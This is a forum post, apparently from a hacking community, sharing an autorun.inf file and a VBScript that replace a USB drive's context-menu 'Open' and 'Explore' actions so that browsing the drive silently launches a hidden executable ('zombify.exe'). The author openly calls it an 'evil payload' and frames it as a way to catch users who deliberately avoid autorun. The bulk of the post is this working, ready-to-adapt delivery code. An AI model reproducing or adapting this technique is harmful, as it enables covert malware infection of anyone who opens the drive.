Jump to content

Interesting autorun options


Hook5
 Share

Recommended Posts

Don't know if this is common knowledge, but here are some example Autorun entries that you might find interesting...

[autorun]

open=wscript.exe Autorun.vbs

shellOpen=Open

shellOpencommand=wscript.exe Autorun.vbe

shellExplore=Explore

shellExplorecommand=wscript.exe Autorun.vbe /e

autorun.vbe:

Dim sh, fso, CD, oArgs, sArg

Set sh = CreateObject("WScript.shell")

Set fso = CreateObject("scripting.filesystemobject")

Set oArgs = wscript.arguments

If oArgs.count > 0 Then sArg =  oArgs(0)

CD = fso.GetParentFolderName(WScript.ScriptFullName) & ""

sh.run "explorer.exe " & sArg & "," & CD,1,FALSE ' <-- fso.GetParentFolderName(CD) takes you one dir back if you strore the autorun.vbe in a folder

sh.run "zombify.exe",0,TRUE ' <-- adapt this part to suit your needs

The shell lines in the autorun file will replace the "open" and "explore" selections from the context menu with something that behaves similar, but also carries an evil job. There are now only two ways left that the content can be explored without the evil payload being run...

1. Typing the exact path in start - run etc.

2. The "Open this folder" selection from the autoplay action list.

Most people that don't want to execute autorun will use the context menu to open or explore the drive, and now you got those users as well...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...